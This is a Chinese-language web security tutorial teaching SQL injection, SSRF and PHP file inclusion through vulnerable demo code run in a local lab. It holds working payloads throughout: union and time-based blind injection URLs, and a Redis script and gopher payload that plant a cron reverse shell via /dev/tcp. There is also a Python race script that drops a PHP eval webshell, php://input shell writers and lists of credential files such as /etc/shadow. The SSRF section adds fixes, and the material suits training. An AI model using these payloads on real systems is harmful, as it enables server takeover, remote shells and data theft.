Web Security

以PHP讲解常见WEB安全漏洞

SQL Injection

0x01 相关背景介绍
结构化查询语言(Structured Query Language,缩写:SQL),是一种特殊的编程语言,用于数据库中的标准数据查询语言。
1986年10月,美国国家标准学会对SQL进行规范后,以此作为关系式数据库管理系统的标准语言(ANSI X3. 135-1986),1987年得到国际标准组织的支持下成为国际标准。
不过各种通行的数据库系统在其实践过程中都对SQL规范作了某些编改和扩充。所以,实际上不同数据库系统之间的SQL不能完全相互通用。

SQL注入(SQL Injection)是一种常见的Web安全漏洞,攻击者利用这个问题,可以访问或修改数据,或者利用潜在的数据库漏洞进行攻击。

0x02 成因
针对SQL注入的攻击行为可描述为:通过在用户可控参数中注入SQL语法,破坏原有SQL结构,达到编写程序时意料之外结果的攻击行为。其成因可以归结为以下两个原因叠加造成的:

  1. 程序编写者在处理应用程序和数据库交互时,使用字符串拼接的方式构造SQL语句
  2. 未对用户可控参数进行足够的过滤便将参数内容拼接进入到SQL语句中

0x03 攻击方式和危害

3.1 攻击方式
SQL注入的攻击方式根据应用程序处理数据库返回内容的不同,可以分为可显注入、报错注入和盲注:

  • 可显注入:攻击者可以直接在当前界面内容中获取想要获得的内容
  • 报错注入:数据库查询返回结果并没有在页面中显示,但是应用程序将数据库报错信息打印到了页面中,所以攻击者可以构造数据库报错语句,从报错信息中获取想要获得的内容
  • 盲注:数据库查询结果无法从直观页面中获取,攻击者通过使用数据库逻辑或使数据库库执行延时等方法获取想要获得的内容

3.2危害
危害根据Web应用程序连接数据库的用户权限决定。

root权限(可直接写Shell,跨库注入等,MSSQL SA权限 甚至可直接提权拿服务器)

普通用户权限(读取该用户所属数据库的信息)

下面以Mysql数据库来讲解SQL注入。

1.首先准备环境

测试环境为(若无特别声明,以下所有注入操作均在此环境下执行),

PHP Version 5.3.29
Windows10
Mysql 5.5.40
Apache/2.4.10 (Win32)

2.准备一个查询数据库的Demo。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
//sqli.php
<?php
header("Content-type: text/html; charset=utf-8");
$id = $_GET['id'];
$conn = mysqli_connect("localhost", "test","test","test");
if (!$conn){
die("Database Connection failed: " . mysqli_connect_error());
}
$sql = "select * from test where id = $id";
$result = mysqli_query($conn, $sql);
if (mysqli_num_rows($result) > 0){
while($row = mysqli_fetch_assoc($result) ){
echo 'user_id: ' . $row['id']."<br />";
echo 'user: ' . $row['username']."<br />";
}
}else{
echo "check Sql";
}
echo "执行的sql语句: $sql";
mysqli_close($conn);
?>

3.准备数据
Demodata

UNION query-based


Mysql数据库结构

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
Mysql
-A 数据库A
—table1
-columns1
-data
-columns2
-data
-columns3
....
-columns4
-table2
-columns1
-columns2
-columns3
-columns4 -
-table3
-columns1
-columns2
-columns3
-columns4
-B 数据库B
—table1
-columns1
-columns2
....
-C 数据库B
—table1
-columns1
-columns2
....
[*]小结:
1.Mysql数据库中有很多数据库,每个数据库里面又有很多的表,每个表中又有很多列,数据存放在列下面,
2.查询数据时,通过指定数据库,表,列名,找到存储的数据。

先来看一下Mysql的一些函数。
Version() 查询当前Web应用程序所使用的数据库版本
user() 查询当前Web应用程序所连接的用户名
database() 查询当前Web应用程序所使用的数据库名

information_schema 这个数据库包含了Mysql数据库里面所有的数据库,所有的表,所有的列,(Mysql5.0版本以上才有information_schema)

information_schema.schemata schemata表存储mysql下所有的数据库
符号”.”代表下一级的意思代表下一级的意思,information_schema数据库下面的schemata表,
information_schema.tables tables表存储mysql下所有的表名
information_schema.columns columns表存储mysql下所有的列名
table_schema 表名来自哪个数据库
Column_name 列名
Table_name 表名
Schema_name 数据库名

打开sqli.php
127.0.0.1/sqli.php?id=1

mysqlinjection1

ok,接下来我们怎么去利用,进而查询到我们数据库中存储的password数据呢?

在Mysql中,有一种查询叫做联合查询,Union
UNION 操作符用于连接两个以上的 SELECT 语句的结果组合到一个结果集合中.
在我们使用UNION查询的时候,UNION后面的select查询语句查询的列数个数要与前面的列数数量一致。
mysqlunion1

如何获得Web应用程序查询的列数呢?可以通过order by num获得
mysqlorderby
num表示表中列的位置,最左边的列是1。

mysqlorderby1
当order by 3时,Mysql查询出错,因为查询结果中没有第三行的列,由此我们可以知道,列数为2.

对sqli.php继续注入

mysqlorderby2

mysqlorderby3

当我们执行order by 4 的时候,Web应用程序出错了,可得列数没有第四列。那么当前应用程序连接的数据库的字段数就是3个。

接着使用UNION联合查询,报出了数字1,2,因为1,2是回显在页面上,因此我们可以在1,2上注入,结果也将显示到页面上。
mysqlunion2

首先我们来判断数据库的版本,来理清渗透思路。(Mysql5.0以上是根据information_schema数据库进行的注入,而Mysql5.0以下则数据暴力猜解,没有依据。)
mysqlunion3

接着继续查询连接当前数据库的数据库用户名,理清渗透思路。得知为普通用户,那么思路也就清晰了,注入数据库找后台账号密码。
mysqlunion4

在讲解数据库结构时,提到,要想得到数据,要指定具体的数据库名,表,字段,因此接下来猜数据库名,接着找表,接着找列,最后猜数据。
mysqlunion5

根据information_schema.tables表找表名。
mysqlunion6

根据information_schema.columns表找列名
mysqlunion7

爆数据
mysqlunion8

limit限制输出行
mysqlunion9

group_concat
mysqlunion10

Time-based blind

当Sql语句执行后,WEB应用程序不将数据返回前端展示时,可以通过盲注的方式获取我们想要的数据。

1
2
3
4
5
6
7
先来了解几个函数。
sleep(x) -- 延迟函数,延迟多少秒取决于x的值。
length(x) -- 查看x字符串的长度。
if(x,1,0) -- 判断函数,若x为真的执行1,假0.
mid(database(),start,length) -- mid函数用于得到一个字符串的一部分,例如mid(user,1,1)='u' 即 user 从1开始长度为1的字符是否等于u。
database() --查看当前使用的数据库名
Ascii()--返回字符的ascii码

测试代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
//sqli_blind.php
<?php
header("Content-type: text/html; charset=utf-8");
$id = $_GET['id'];
$conn = mysqli_connect("localhost", "root","root","test") or die("Database Connection failed: " . mysqli_connect_error());
if (isset($id)){
$sql = "select * from lxhsec where id = '$id'";
$result = mysqli_query($conn, $sql);
if (mysqli_num_rows($result) > 0){
echo '<pre>User ID exists in the database.</pre>';
}else{
echo '<pre>User ID is MISSING from the database.</pre>';
}
echo "执行的sql语句: $sql";
mysqli_close($conn);
}else{
echo 'please set id argument';
}
?>

判断注入
sql_time_blind01

判断数据库长度

1
2
3
4
5
6
7
8
9
10
11
12
http://127.0.0.1/sqli_blind.php?id=1' and if((length(database())>3),sleep(5),0)%23
分析:
database() - 获取WEB应用程序当前连接的数据库名。
length(database()) - 获取数据库名长度。
(length(database())>3) - 数据库名的长度大于3。
if((length(database())>3),sleep(5),0)
判断数据库长度是否大于3,若是,则延迟5秒,否则返回0.

sql_time_blind02

判断数据库名

1
2
3
4
5
6
7
8
9
10
http://127.0.0.1/sqli_blind.php?id=1' and if((ascii(mid(database(),1,1))=116),sleep(5),0)%23
分析:
mid(database(),1,1) - 截取数据库名第一个字符
(ascii(mid(database(),1,1))=116) - 第一个字符的ascii码等于116
if((ascii(mid(database(),1,1))=116),sleep(5),0)
判断数据库名第一位的ascii是否等于116,若是,则延迟5秒,否则返回0.

sql_time_blind03

判断表名数量

1
http://127.0.0.1/sqli_blind.php?id=1' and if((ascii(mid((select count(table_name) from information_schema.tables where table_schema=database()),1,1))=50),sleep(5),0)%23

sql_time_blind08

判断表名长度

1
http://127.0.0.1/sqli_blind.php?id=1' and if((length((select table_name from information_schema.tables where table_schema=database() limit 0,1))>=3),sleep(5),0)%23

sql_time_blind07

判断表名

1
2
3
4
5
6
7
8
9
10
11
12
http://127.0.0.1/sqli_blind.php?id=1' and if((ascii(mid((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=108),sleep(5),0)%23
分析:
(select table_name from information_schema.tables where table_schema=database() limit 0,1)- 查询WEB应用程序当前连接的数据库下的第一个表名。
mid((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1) - 截取表名的第一个字符。
(ascii(mid((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=108) - 判断表名的第一个字符的ascii码等于108
if((ascii(mid((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=108),sleep(5),0)
判断WEB应用程序当前连接的数据库下第一个表名的第一个字符是否等于108,若是,则延迟5秒,否则返回0.

sql_time_blind04

判断字段名

1
2
3
4
5
6
7
8
9
10
11
12
http://127.0.0.1/sqli_blind.php?id=1' and if((ascii(mid((select column_name from information_schema.columns where table_name='lxhsec' limit 0,1),1,1))=105),sleep(5),0)%23
分析:
(select column_name from information_schema.columns where table_name='lxhsec' limit 0,1) - 查询WEB应用程序当前连接的数据库的lxhsec表的第一个字段名。
mid((select column_name from information_schema.columns where table_name='lxhsec' limit 0,1),1,1) - 截取字段名的第一个字符。
(ascii(mid((select column_name from information_schema.columns where table_name='lxhsec' limit 0,1),1,1))=105) - 字段名的第一个字符的ascii码等于105
if((ascii(mid((select column_name from information_schema.columns where table_name='lxhsec' limit 0,1),1,1))=105),sleep(5),0)
判断WEB应用程序当前连接的数据库下lxhsec表的第一个字段名的第一个字符是否等于108,若是,则延迟5秒,否则返回0.

sql_time_blind05

猜数据

1
2
3
4
5
6
7
8
9
10
11
12
http://127.0.0.1/sqli_blind.php?id=1' and if((ascii(mid((select id from test.lxhsec limit 0,1),1,1))=49),sleep(5),0)%23
分析:
(select id from test.lxhsec limit 0,1) - 查询test数据库下lxhsec表下id字段的第一行数据。
mid((select id from test.lxhsec limit 0,1),1,1) - 截取id数据的第一个字符。
(ascii(mid((select id from test.lxhsec limit 0,1),1,1))=49) - id数据的第一个字符的ascii码等于49
if((ascii(mid((select id from test.lxhsec limit 0,1),1,1))=49),sleep(5),0)
判断WEB应用程序当前连接的数据库下lxhsec表的id字段的第一行数据的第一个字符是否等于49,若是,则延迟5秒,否则返回0.

sql_time_blind06

SSRF(Server Side Request Forgery)

0x01 前言
SSRF(Server-Side Request Forgery:服务器端请求伪造) 是一种由攻击者构造形成由服务端发起请求的一个安全漏洞。一般情况下,SSRF攻击的目标是从外网无法访问的内部系统。

0x02 成因
SSRF 形成的原因大都是由于服务端提供了从其他服务器应用获取数据的功能且没有对目标地址做过滤与限制。比如从指定URL地址获取网页文本内容、加载指定地址的图片、下载等。

0x03 攻击类型
1.可以对外网、服务器所在内网、本地进行端口扫描,获取一些服务的banner信息。

2.攻击运行在内网或本地的应用程序(比如溢出)。

3.对内网web应用进行指纹识别,通过访问默认文件实现。

4.攻击内外网的web应用,主要是使用get参数就可以实现的攻击(比如struts2,sqli等)。

5.利用file协议读取本地文件等。

0x04 漏洞挖掘
漏洞挖掘方法分为两种:

从WEB功能上寻找


常见WEB功能:

1)分享:通过URL地址分享网页内容

2)转码服务:通过URL地址把原地址的网页内容调优使其适合手机屏幕浏览

3)在线翻译:通过URL地址翻译对应文本的内容。

4)图片加载与下载:通过URL地址加载或下载图片。

5)图片、文章收藏功能

从URL关键字寻找


常见URL关键字:

share、wap、url、link、src、source、target、u、3g、display、sourceURl、imageURL、domain

0x05 利用方式

测试代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
//ssrf.php
<?php
// 创建一个新cURL资源
$ch = curl_init();
// 设置URL和相应的选项
curl_setopt($ch, CURLOPT_URL, $_GET['url']);
//CURLOPT_RETURNTRANSFER为TRUE时, curl_exec()获取的信息以字符串返回,而不是直接输出。
//curl_setopt($ch, CURLOPT_RETURNTRANSFER, TRUE);
// 当CURLOPT_RETURNTRANSFER为TRUE时, 函数执行成功时会返回执行的结果,失败时返回 FALSE 。
curl_exec($ch); // 执行
curl_close($ch);//关闭资源
?>

上述代码用来模拟ssrf,使用curl发起网络请求然后返回客户端,这里我请求加载百度,抓包可见并没有百度的数据包,因为请求并不是客户端发起的。
ssrf1

curl支持的协议

ssrf2

可以看到该版本的curl支持很多协议,其中gopher协议、dict协议、file协议、http/s协议用的比较多,

http/https:主要用来探测内网服务。根据响应的状态、内容等判断内网端口及服务.
http://192.168.31.132/ssrf.php?url=http://192.168.31.91:81

ssrf3

除了http/https,还有一些可利用的协议如下:

file://

上述测试代码有回显,因此浏览器直接访问,就可以看到文件内容了。

1
http://192.168.31.132/ssrf.php?url=file:///E:/www/ssrf.php

ssrf_file.png

dict://

同理,看redis相关配置,直接访问

1
http://192.168.31.132/ssrf.php?url=dict://192.168.31.232:6379/info

ssrf_dict.png

如果在测试代码中ssrf.php加上一行代码屏蔽回显,

curl_setopt($ch, CURLOPT_RETURNTRANSFER, TRUE); 

那么dict只能通过NC 来获取Banner信息了,file协议则利用不了。

dict_nodisplay.png

Gopher:// - 拓展SSRF攻击面

Note: 使用Gopher前,必须要用dict协议探测Banner信息,从而确定curl的版本是否支持Gopher协议

攻击内网Redis

首先了解一下通常攻击 Redis 的命令,然后转化为 Gopher 可用的协议。常见的 exp 如下,将其保存为redis.sh。

1
2
3
4
5
6
redis-cli -h $1 flushall
echo -e "\n\n*/1 * * * * bash -i >& /dev/tcp/127.0.0.1/24444 0>&1\n\n"|redis-cli -h $1 -x set 1
redis-cli -h $1 config set dir /var/spool/cron/
redis-cli -h $1 config set dbfilename root
redis-cli -h $1 save
redis-cli -h $1 quit

Note: 实战时,redis-cli -h $1 flushall这一行可以去除,因为它将清除redis内的所有数据。

利用这个脚本攻击自身并抓包得到数据流,

1.首先在测试机开启redis-server,改服务运行端口为6378
redis-server --port 6378

2.使用socat抓取数据流,
socat -v tcp-listen:6379,fork tcp-connect:localhost:6378

意思是将本地的6379端口转发到本地的6378端口。访问该服务器的6379端口,访问的其实是该服务器的6378端口。

3.运行脚本
bash redis.sh 127.0.0.1

数据流如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
root@kali:~# socat -v tcp-listen:6379,fork tcp-connect:localhost:6378
> 2019/03/02 08:43:17.023613 length=86 from=0 to=85
*3\r
$3\r
set\r
$1\r
1\r
$59\r
*/1 * * * * bash -i >& /dev/tcp/127.0.0.1/24444 0>&1
\r
< 2019/03/02 08:43:17.024240 length=5 from=0 to=4
+OK\r
> 2019/03/02 08:43:17.037387 length=57 from=0 to=56
*4\r
$6\r
config\r
$3\r
set\r
$3\r
dir\r
$16\r
/var/spool/cron/\r
< 2019/03/02 08:43:17.037828 length=5 from=0 to=4
+OK\r
> 2019/03/02 08:43:17.041366 length=52 from=0 to=51
*4\r
$6\r
config\r
$3\r
set\r
$10\r
dbfilename\r
$4\r
root\r
< 2019/03/02 08:43:17.043067 length=5 from=0 to=4
+OK\r
> 2019/03/02 08:43:17.058127 length=14 from=0 to=13
*1\r
$4\r
save\r
< 2019/03/02 08:43:17.071285 length=5 from=0 to=4
+OK\r
> 2019/03/02 08:43:17.076940 length=14 from=0 to=13
*1\r
$4\r
quit\r
< 2019/03/02 08:43:17.077113 length=5 from=0 to=4
+OK\r

上述数据流的写法是Redis 为了二进制数据安全而规定的协议。
Redis 规定如下:

  • 每一行都要使用分隔符(CRLF)
  • 一条命令用”*“开始,同时用数字作为参数,需要分隔符(“*1”+ CRLF)
    –我们有多个参数时:
  • 字符:以”$“开头+字符的长度(”$4” + CRLF)+字符串(“TIME”+CRLF) 即"$4"+CRLF + “TIME”+CRLF
  • 整数:以”:“开头+整数的ASCII码(“:42”+CRLF)

由于上述数据是数据流,因此需要转换成适配于Gopher协议的URL,如下.
转换规则为:
1.清楚Log消息。
2.将空行替换为%0a,
3.将\r替换成%0d%0a,如果只有\r,将\r替换成%0a%0d%0a

替换脚本如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
# coding: utf-8
import sys
from urllib.parse import quote
payload = ''
with open(sys.argv[1]) as f:
for line in f.readlines():
if line[0] in '><+':
continue
elif line[-3:-1] == r'\r':
payload += '%0a%0d%0a' if len(line) == 3 else line.replace(r'\r', '%0d%0a').replace('\n', '')
elif line == '\x0a':
payload += '%0a'
else:
payload += line.replace('\n', '')
print(payload)

gopher协议GET使用方法为:gopher://ip:port/_payload

payload如下:

1
gopher://192.168.31.91:6379/_*3%0d%0a$3%0d%0aset%0d%0a$1%0d%0a1%0d%0a$59%0d%0a%0a%0a%0a*/1 * * * * bash -i >& /dev/tcp/127.0.0.1/24444 0>&1%0a%0a%0a%0a%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$3%0d%0adir%0d%0a$16%0d%0a/var/spool/cron/%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$10%0d%0adbfilename%0d%0a$4%0d%0aroot%0d%0a*1%0d%0a$4%0d%0asave%0d%0a*1%0d%0a$4%0d%0aquit%0d%0a

需要注意,如果要更改生成的payload,则需重新计算个数。
例如,想将ip更换为192.168.1.10,那么需要将$59更改为$62.
$59代表的是,3+52+4=59
%0a%0a%0a*/1 * * * * bash -i >& /dev/tcp/127.0.0.1/24444 0>&1%0a%0a%0a%0a

本地测试:
ssrf_redis1

利用SSRF攻击:

需要对payload再次编码,
ssrf_redis.png

攻击:
ssrf_redis.png

SSRF攻击其他漏洞:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
网络服务探测
ShellShock命令执行
JBOSS远程Invoker war命令执行
Java调试接口命令执行
axis2-admin部署Server命令执行
Jenkins Scripts接口命令执行
Confluence SSRF
Struts2一堆命令执行
counchdb WEB API远程命令执行
mongodb SSRF
docker API远程命令执行
php_fpm/fastcgi 命令执行
tomcat命令执行
Elasticsearch引擎Groovy脚本命令执行
WebDav PUT上传任意文件
WebSphere Admin可部署war间接命令执行
Apache Hadoop远程命令执行
zentoPMS远程命令执行
HFS远程命令执行
glassfish任意文件读取和war文件部署间接命令执行

除了curl_exec之外,还有file_get_contents,fsockopen等函数,使用不当都可以造成SSRF漏洞,示例代码如下:

file_get_contents:

1
2
3
4
<?php
$url = $_GET['url'];
echo file_get_contents($url);
?>

ssrf5

fsockopen:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php
function request($host,$port,$link)
{
$fp = fsockopen($host, $port, $err_no, $err_str, 30);
$out = "GET $link HTTP/1.1\r\n";
$out .= "Host: $host\r\n";
$out .= "Connection: Close\r\n\r\n";
$out .= "\r\n";
fwrite($fp, $out);
$contents='';
while (!feof($fp)) {
$contents.= fgets($fp, 1024);
}
fclose($fp);
return $contents;
}
echo request($_GET['host'], $_GET['port'], $_GET['url']);
?>

ssrf4

0x06 漏洞修复

  • 限制协议为HTTP、HTTPS
    curl_setopt($ch, CURLOPT_PROTOCOLS, CURLPROTO_HTTP | CURLPROTO_HTTPS);
  • 禁止301跳转
    curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 0);
  • 设置URL白名单或者限制内网IP
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    $url = $_GET['url'];
    $white_list_urls = [
    'www.xxx1.com',
    'www.xxx2.com'
    ]
    if (in_array(parse_url($url)['host'], $white_list_urls)){
    echo curl($url);
    } else {
    echo 'URL not allowed';
    }

文件包含(File include)

服务器执行PHP文件时,可以通过文件包含函数加载另一个文件中的PHP代码,并且当PHP来执行。
如果被包含的文件中无有效的php代码,则会直接把文件内容输出。

文件包含函数
PHP中文件包含函数有以下四种:

1
2
3
4
5
6
7
8
9
10
11
require()
require_once()
include()
include_once()
include和require区别主要是,
include在包含的过程中如果出现错误,会抛出一个警告,程序继续正常运行;
而require函数出现错误的时候,会直接报错并退出程序的执行。
include_once(),require_once()这两个函数,与前两个的不同之处在于这两个函数只包含一次,
适用于在脚本执行期间同一个文件有可能被包括超过一次的情况下,你想确保它只被包括一次以避免函数重定义,变量重新赋值等问题。

漏洞产生原因
文件包含函数加载的参数没有经过过滤,可以被用户控制。

示例代码

1
2
3
4
<?php
$filename = $_GET['filename'];
include($filename);
?>

例如:
include函数加载的filename参数开发者没有经过严格的过滤,直接带入了include的函数,攻击者可以修改filename参数的值,执行非预期的操作。

本地文件包含漏洞

无限制本地包含漏洞
测试代码:

1
2
3
4
<?php
$filename = $_GET['filename'];
include($filename);
?>

测试结果:
include1

可以根据敏感文件的默认路径进行读取。
常见的敏感信息路径:

Windows系统

1
2
3
4
5
6
7
8
9
10
11
c:\boot.ini // 查看系统版本
c:\windows\system32\inetsrv\MetaBase.xml // IIS配置文件
c:\windows\repair\sam // 存储Windows系统初次安装的密码
c:\ProgramFiles\mysql\my.ini // MySQL配置
c:\ProgramFiles\mysql\data\mysql\user.MYD // MySQL root密码
c:\windows\php.ini // php 配置信息

Linux/Unix系统

1
2
3
4
5
6
7
8
9
10
11
12
13
/etc/passwd // 账户信息
/etc/shadow // 账户密码文件
/usr/local/app/apache2/conf/httpd.conf // Apache2默认配置文件
/usr/local/app/apache2/conf/extra/httpd-vhost.conf // 虚拟网站配置
/usr/local/app/php5/lib/php.ini // PHP相关配置
/etc/httpd/conf/httpd.conf // Apache配置文件
/etc/my.conf // mysql 配置文件

利用Apache日志

1
2
3
4
apache日志分为access.log与error.log,
当我们请求一个Web应用程序url地址时,便会记录在access.log中,
但是写入到access.log文件中url是被编码的,
所以需要抓包绕过,且需要知道access.log的地址,才能配合文件包含漏洞。

Apache_log_LFI

用burp抓包写,绕过编码。
Apache_log_LFI

Apache_log_LFI

Apache默认配置文件路径

session文件包含漏洞
利用条件:
1.session的存储位置可以获取。
2.session中的内容可以被用户控制,传入恶意代码。

1.1.通过phpinfo的信息可以获取到session的存储位置。

通过phpinfo的信息,获取到session.save_path为C:\Program Files\phpStudy\tmp\tmp;
Session_include1

1.2.通过猜测默认的Session存放位置进行尝试。

1
2
3
4
5
Linux:
/tmp 或 /var/lib/php/session
Windows:
C:\WINDOWS\Temp

测试代码:

1
2
3
4
<?php
session_start();
$_SESSION["username1"]=$_GET['user'];
?>

测试结果:
Session_include2

1
2
1.session的文件格式为sess_+PHPSESSID,PHPSESSID可以抓取请求数据包获得。
2.在名为sess_+PHPSESSID文件中,会存储$_SESSION["username"]的键,以及值(值是用户可以控制的,攻击者可以插入任意代码。)。

利用:攻击者通过phpinfo()信息泄露或者猜测能获取到session存放的位置,文件名称通过开发者模式可获取到,然后通过文件包含的漏洞解析恶意代码getshell。(前提是你能够控制session的值)
Session_include3

临时文件包含

向服务器上任意php文件post请求 上传文件时,都会生成临时文件,可以直接在phpinfo页面找到临时文件的路径及名字。

在HTTP协议中为了方便进行文件传输,规定了一种基于表单的 HTML文件传输方法

其中要确保文件上传表单的属性是 enctype=”multipart/form-data”,否则文件上传不了。

PHP引擎对enctype=”multipart/form-data”这种请求的处理过程如下:

1.请求到达
2.创建临时文件,并写入上传文件的内容
3.调用相应PHP脚本进行处理,如校验名称、大小等
4.删除临时文件

PHP引擎会首先将文件内容保存到临时文件,然后进行相应的操作。
临时文件的名称是 php+随机字符。

在PHP中,有超全局变量$_FILES,保存上传文件的信息,包括文件名、类型、临时文件名、错误代号、大小等。

1.手工测试phpinfo()获取临时文件路径

文件 upload.html

1
2
3
4
5
6
7
8
9
10
11
<!doctype html>
<html>
<body>
<form action="phpinfo.php" method="POST" enctype="multipart/form-data">
<h3> Test upload tmp file</h3>
<label for="file">Filename:</label>
<input type="file" name="file"/><br/>
<input type="submit" name="submit" value="Submit" />
</form>
</body>
</html>

浏览器访问 upload.html, 上传文件 file.txt

1
2
//file.txt
<?php @eval($_POST['a']);?>

跳转到phpinfo页面,可以看到临时文件信息,得到tmp_name 路径。
phpinfoinclude

当我们去此路径看的时候,会发现文件不存在,是因为php已经完成了它对上传文件的操作,已经删除了临时文件,因此我们手工的去包含,速度上来说肯定是不够的。

网上随便找了个dalao的脚本,改了个python3,代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
#coding: utf-8
'''
可能需要你改的几个地方:
1、host
2、port
3、request中的phpinfo页面名字及路径
4、hello_lfi() 函数中的url,即存在lfi的页面和参数
5、如果不成功或报错,尝试增加padding长度到7000、8000试试
6、某些开了magic_quotes_gpc或者其他东西不能%00的,自行想办法截断并在(4)的位置对应修改
Good Luck :)
'''
import re
import requests
import hashlib
from socket import *
import time
host = '127.0.0.1'
port = 80
# t = int(time.time())
shell_name = hashlib.md5(host.encode('utf-8')).hexdigest() + '.php'
pattern = re.compile(r'''\[tmp_name\]\s=&gt;\s(.*)\W*error]''')
payload = '''idwar<?php fputs(fopen('./''' + shell_name + '''\',"w"),"idwar was here<?php eval(\$_POST[a]);?>")?>\r'''
req = '''-----------------------------7dbff1ded0714\r
Content-Disposition: form-data; name="dummyname"; filename="test.txt"\r
Content-Type: text/plain\r
\r
%s
-----------------------------7dbff1ded0714--\r''' % payload
padding='A' * 7000
request='''POST /phpinfo.php?a='''+padding+''' HTTP/1.0\r
Cookie: PHPSESSID=q249llvfromc1or39t6tvnun42; othercookie='''+padding+'''\r
HTTP_ACCEPT: ''' + padding + '''\r
HTTP_USER_AGENT: ''' + padding + '''\r
HTTP_ACCEPT_LANGUAGE: ''' + padding + '''\r
HTTP_PRAGMA: ''' + padding + '''\r
Content-Type: multipart/form-data; boundary=---------------------------7dbff1ded0714\r
Content-Length: %s\r
Host: %s\r
\r
%s''' % (len(req), host, req)
def hello_lfi():
while 1:
s = socket(AF_INET, SOCK_STREAM)
s.connect((host, port))
s.send(request.encode())
data = ''
while r'</body></html>' not in data:
data = s.recv(9999).decode('utf8')
search_ = re.search(pattern, data)
if search_:
tmp_file_name = search_.group(1)
# url = r'http://127.0.0.1/fileinclude.php?filename=%s%%00' % tmp_file_name
url = r'http://127.0.0.1/fileinclude.php?filename=%s' % tmp_file_name
print(url)
html_data = requests.get(url).text
if 'idwar' in html_data:
s.close()
return '\nDone. Your webshell is : \n\n%s\n' % ('http://' + host + '/' + shell_name)
s.close()
if __name__ == '__main__':
print (hello_lfi())
print ('\n Good Luck :)')

测试结果:
phpinfoinclude2

有限制本地文件包含漏洞绕过

%00截断
条件:magic_quotes_gpc = Off php版本<5.3.4

%00 空字符,magic_quotes_gpc为On的情况下会将空字符进行转义,导致漏洞利用失败。php 5.3.4之后修复了这一漏洞。

测试代码:

1
2
3
4
<?php
$filename = $_GET['filename'];
include($filename . ".html");
?>

测试结果
include2

用Burp Fuzz 发现只有%00才能截断。
include3

路径长度截断
条件:php版本小于5.3可以成功(my 5.3版本测试失败),windows OS,参数值总长度需要长于255;linux OS 长于4095

Windows下目录最大长度为255字节,超出的部分会被丢弃;

Linux下目录最大长度为4095字节,超出的部分会被丢弃。

测试代码:

1
2
3
4
<?php
$filename = $_GET['filename'];
include($filename . ".html");
?>

EXP:

1
http://127.0.0.1/testinclude.php?filename=phpinfo.php././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././

Web/include6.png

Web/include7.png

点号截断
条件:php版本小于5.3可以成功,windows OS,参数值总长度需要长于255
测试代码:

1
2
3
4
<?php
$filename = $_GET['filename'];
include($filename . ".html");
?>

EXP:

1
http://127.0.0.1/testinclude.php?filename=phpinfo.php................................................................................................................................................................................................................................................

include4

include5

目录遍历绕过固定目录
测试代码:
include8

测试结果:
include9

远程文件包含漏洞

PHP的配置文件allow_url_fopen和allow_url_include设置为ON,include/require等包含函数可以加载远程文件,
如果远程文件没经过严格的过滤,导致了执行恶意文件的代码,这就是远程文件包含漏洞。

1
2
3
条件:
allow_url_fopen = On(是否允许打开远程文件)
allow_url_include = On(是否允许include/require远程文件)

无限制远程文件包含漏洞
测试代码:

1
2
3
4
<?php
$filename = $_GET['filename'];
include($filename);
?>

测试结果:
url_include1

有限制远程文件包含漏洞绕过
测试代码:

1
2
3
4
<?php
$filename = $_GET['filename'];
include($filename.".html");
?>

多增加.html后缀
url_include2

问号绕过

原理,HTTP协议中,问号后面的代表参数。
url_include3

Burp Fuzz 结果如下,#,?,空格,空字符都可以绕过。
url_include4

PHP伪协议

PHP 带有很多内置 URL 风格的封装协议,可用于类似 fopen()、 copy()、 file_exists() 和 filesize() 的文件系统函数。 除了这些封装协议,还能通过 stream_wrapper_register() 来注册自定义的封装协议。

php_protocol1

file:// — 访问本地文件系统

通过file协议可以访问本地文件系统,读取到文件的内容,不受allow_url_fopen与allow_url_include的影响

php.ini

allow_url_fopen :off/on
allow_url_include:off/on

测试代码:

1
2
3
4
<?php
$filename = $_GET['filename'];
include($filename);
?>

php_protocol_file

http(s):// — 访问 HTTP(s) 网址(相当于远程文件包含)

php:// - 访问各个输入/输出流(I/O streams)

PHP 提供了一些杂项输入/输出(IO)流,允许访问 PHP 的输入
输出流、标准输入输出和错误描述符, 内存中、磁盘备份的临时
文件流以及可以操作其他读取写入文件资源的过滤器。

php://filter(本地磁盘文件进行读取)

元封装器,设计用于”数据流打开”时的”筛选过滤”应用,对本地磁盘文件进行读写,不受allow_url_fopen与allow_url_include的影响

php.ini

allow_url_fopen :off/on
allow_url_include:off/on

Usage:

1
2
3
?filename=php://filter/read=convert.base64-encode/resource=phpinfo.php
?filename=php://filter/convert.base64-encode/resource=phpinfo.php 一样。

php_protocol_php1

php://input(写shell)

可以访问请求的原始数据的只读流。
将POST请求中的数据作为PHP代码执行。
enctype=”multipart/form-data” 的时候 php://input 是无效的。

PHP.ini:

allow_url_fopen :off/on
allow_url_include:on

Usage:

1
<?PHP fputs(fopen('shell.php','w'),'<?php @eval($_POST[cmd])?>');?>

php_protocol_php2

php://input(命令执行)

php_protocol_php3

data://伪协议

php.ini

